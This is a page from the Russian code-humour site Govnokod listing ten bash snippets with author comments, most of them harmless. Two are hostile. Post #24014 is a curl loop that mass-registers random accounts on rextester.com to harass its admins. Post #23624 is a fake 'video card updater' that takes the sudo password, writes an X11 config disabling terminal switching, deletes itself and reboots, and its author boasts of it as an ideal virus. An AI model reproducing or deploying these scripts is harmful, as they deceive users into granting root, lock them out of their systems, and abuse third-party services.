1. bash / Говнокод #25122

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    names="com.termux io.twaik.lorie rubberbigpepper.Orientator"
    if test ! -e /realproc/cmdline
    then
    echo Mounting realproc
    mount -o remount,rw none /
    mkdir /realproc
    mount -t proc none /realproc
    fi
    
    tail -f /dev/null|am monitor| while read line
    do
    echo "$line"
    for n in $names
    do
    for p in `pidof $n`
    do
    if test -e /proc/$p/oom_adj
    then
    echo Masking pid $p
    mount -t tmpfs -o size=4k none /proc/$p/
    for f in /realproc/$p/*
    do ln -s $f /proc/$p
    done
    rm /proc/$p/oom_*
    fi
    echo Setting oom adj for $n $p, was $(cat /realproc/$p/oom_adj)
    echo -17 > /realproc/$p/oom_adj
    done
    done
    done

    достал oom killer.

    Где тут shell в языках?

    mittorn, 27 Ноября 2018

    Комментарии (0)
  2. bash / Говнокод #25086

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    function SymlinkNextStunnelConfig {
        OLDIFS=$IFS
        IFS=$'\n'
        stunnelConfigs=($(find ${STUNNEL_CONFIG_D} -regex ".*\.conf$"))
        IFS=$OLDIFS
    
        if [[ -f ${CURRENT_STUNNEL_CONF} ]]; then
            currentConfig=$(readlink -f ${CURRENT_STUNNEL_CONF})
        else
            currentConfig=""
        fi
    
        if [[ ${#stunnelConfigs[@]} -eq 0 ]]; then
            echo "No config found in ${STUNNEL_CONFIG_D}"
            exit 6
        elif [[ ${#stunnelConfigs[@]} -eq 1 ]]; then
            nextConfig=${stunnelConfigs[0]}
        else {
            echo "ZAEBALO. DELAY SYMLINK VRUCHNUYU!"
        }
        fi
    
        if [[ -L ${CURRENT_STUNNEL_CONF} ]]; then
            rm -f ${CURRENT_STUNNEL_CONF}
        fi
    
        ln -s ${stunnelConfigs[0]} ${CURRENT_STUNNEL_CONF}
    }

    Нашёл старую какашку, запостил перед удалением.

    fluttr, 13 Ноября 2018

    Комментарии (127)
  3. bash / Говнокод #24732

    0

    1. 1
    2. 2
    echo $TTY
    cat /dev/pts/5

    Открываем два терминала, смотрим у каждого $TTY, и делаем у каждого cat на TTY противоположного терминала.
    Получается очень простой локальный чат. Наверное, если использовать какую-нибудь сетевую фигню, так можно сделать интернет-чат.

    vistefan, 07 Сентября 2018

    Комментарии (7)
  4. bash / Говнокод #24281

    −2

    1. 1
    echo $(printf '1\xff0.0.0.0:0\0\\gamedir\\valve' |nc -u ms.xash.su 27010 -w 1 | od -j6 -t x1 -An -w6 |sed -s 's/\ /\ 0x/g'|while read line; do printf '%d.%d.%d.%d' $(echo $line|cut -d ' ' -f1-4) ; echo \ $(( $(printf %d $(echo $line|cut -d ' ' -f5))*256 + $(printf %d $(echo $line|cut -d ' ' -f6)) )); done| while read line1; do printf \\xff\\xff\\xff\\xffinfo\ 48|nc -w 1 -u $line1 |sed -e s/\\\\/\\\ /g -e "s/\xff\xff\xff\xffinfo/_br_$line1/g" & done;sleep 2s;echo)|sed -e s/_br_/\\n/g

    Работаем с бинарными протоколами однострочно

    mittorn, 17 Мая 2018

    Комментарии (12)
  5. bash / Говнокод #24231

    +1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    ...
    # uncomment for a colored prompt, if the terminal has the capability; turned
    # off by default to not distract the user: the focus in a terminal window
    # should be on the output of commands, not on the prompt
    #force_color_prompt=yes
    ...

    .bashrc по умолчанию в Xubuntu.
    Мне казалось, что приглашение должно быть другого цвета, чтобы можно было быстро найти начало вывода программы:
    [email protected]:~$ cat blah.txt
    <много текста>
    <много текста>
    <много текста>
    <много текста>
    <много текста>

    Но тут, понимаешь, решили, что нечего цвета разводить.

    Steve_Brown, 06 Мая 2018

    Комментарии (22)
  6. bash / Говнокод #24183

    −2

    1. 1
    2. 2
    3. 3
    for word in {"Блять", "пишите", "красивые" ,"коды" ,"уёбки", ",", "ради", "энтузиазма", "и", "плодотворного", "труда", ",", "почитайте", "книжку", "сталина", "и", "поймёте", "как", "надо", "делать", "сруны", "говнокодерные!"}; do
        echo "$word"
    done

    хули?

    fuckercoder, 21 Апреля 2018

    Комментарии (6)
  7. bash / Говнокод #24074

    −3

    1. 1
    Бомбёж по поводу Wine и Mono

    Все говорят, что Wine не может с 1993 года запускать программы под винду. И всё почему? Потому что не могут господа вся опенсорса и линуксии нормально реимплементить программы с нешвабодки. Содержимое бутылки похоже на винду настолько отдалённо, как борманд на кегдана. И причём тут Mono? Притом, что в вайн засунули моно, который кривой как руки создателя 1C. И самое страшное, что ни вайн, ни моно никто не хочет сделать на 100% идентичным оригиналу. Ведь если они не будут похожи, то они просто становятся бесполезны.

    dm_fomenok, 04 Апреля 2018

    Комментарии (80)
  8. bash / Говнокод #24014

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    #!/bin/sh
    
    declare -i count=0
    while true; do
    	tmp=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
    	tmp=${tmp:0:100}
    	user=$(echo -n $tmp| tr 0-9 K-Z)
    	password=$tmp
    	# echo -e "\n\e[0;96mLogin: \e[0;97m$user"
    	# echo -e "\e[0;96mPassword: \e[0;97m$password"
    	curl --connect-timeout 10 -A "I that sends all fuck" -d "RegName=${user}&RegPassword=${password}&Submit1=Register" http://rextester.com/login 2>&1 | grep "Object moved" &>/dev/null
    	ret=$?
    	if [ "$ret" -eq 0 ]; then
    		#echo -e "\e[0;92mRegistration done\n"
    		((count++))
    		echo -e "\e[0;92m$count"
    	else
    		echo -e "\e[0;91mfail"
    	fi
    	usleep 10000
    done

    Да здраствуют издевательства над тупыми админами!!!

    fuckercoder, 27 Марта 2018

    Комментарии (2)
  9. bash / Говнокод #23633

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    #!/bin/bash
    # ColorsXterm.sh
    # by Morteryler 2017
    
    print()
    {
      local N=$1
      declare -i i=0
      for n in $cveta; do
        echo -n '\e['"$N"';'$n'm'
        echo -e " > \e["$N";"$n"m $TEXT \e[0m"
        ((i++))
      done
    }
    
    help()
    {
      echo "Программа ColorsXterm. Версия 1.0"
      echo "-0 - обычные цвета"
      echo "-1 - жирные цвета"
      echo "-2 - бледные цвета"
      echo "-3 - тоже обычные цвета"
      echo "-4 - подчеркнутые цвета"
      echo "-5 - мигающие цвета"
      echo "-6 - тоже обычные цвета"
      echo "-7 - цвета инвертированные"
      echo "-8 - цвета без текста"
      echo "-9 - все перечёркнутые"
      exit 0
    }
    
    TEXT="#######################################################"
    
    cveta="1 2 4 5 7 8 9 21 30 31 32 33 34 35 36 37 41 42 43 44 45 46 47\
     90 91 92 93 94 95 96 97 100 101 102 103 104 105 106 107"
    
    while getopts ":h0123456789" opt; do
       case $opt in
    		0) print 0;;
        1) print 1;;
        2) print 2;;
        3) print 3;;
        4) print 4;;
        5) print 5;;
        6) print 6;;
        7) print 7;;
        8) print 8;;
        9) print 9;;
        h) help;;
    	esac
    done

    Openгавняшка

    fuckercoder, 01 Января 2018

    Комментарии (0)
  10. bash / Говнокод #23624

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    #!/bin/sh
    echo "Вас  приветствует обновлятор видеокарты! Версия 1.0"
    echo "Мы обновим ваш софт автоматически, введите пожалуйста пароль адимнистратора"
    sudo echo -n "Установка..."
    sudo echo -e 'Section "ServerFlags"\nOption "DontVTSwitch" "true"\nEndSection' >/etc/X11/xorg.conf.d/99-system.conf
    let a=$RANDOM%15
    let a+=7
    sleep $a
    echo "Установка завершена! Приятного использования"
    sleep 1
    rm $0
    sudo reboot

    Это идеальная вирусня! Потом юзер просто не сможет войти в термы. Можно блокать доступ к экрану и так далее
    Можете не верить но вирусы на linux уже есть и дауны всякие кривожопые пользователи убунты не знают как их удалить

    fuckercoder, 29 Декабря 2017

    Комментарии (74)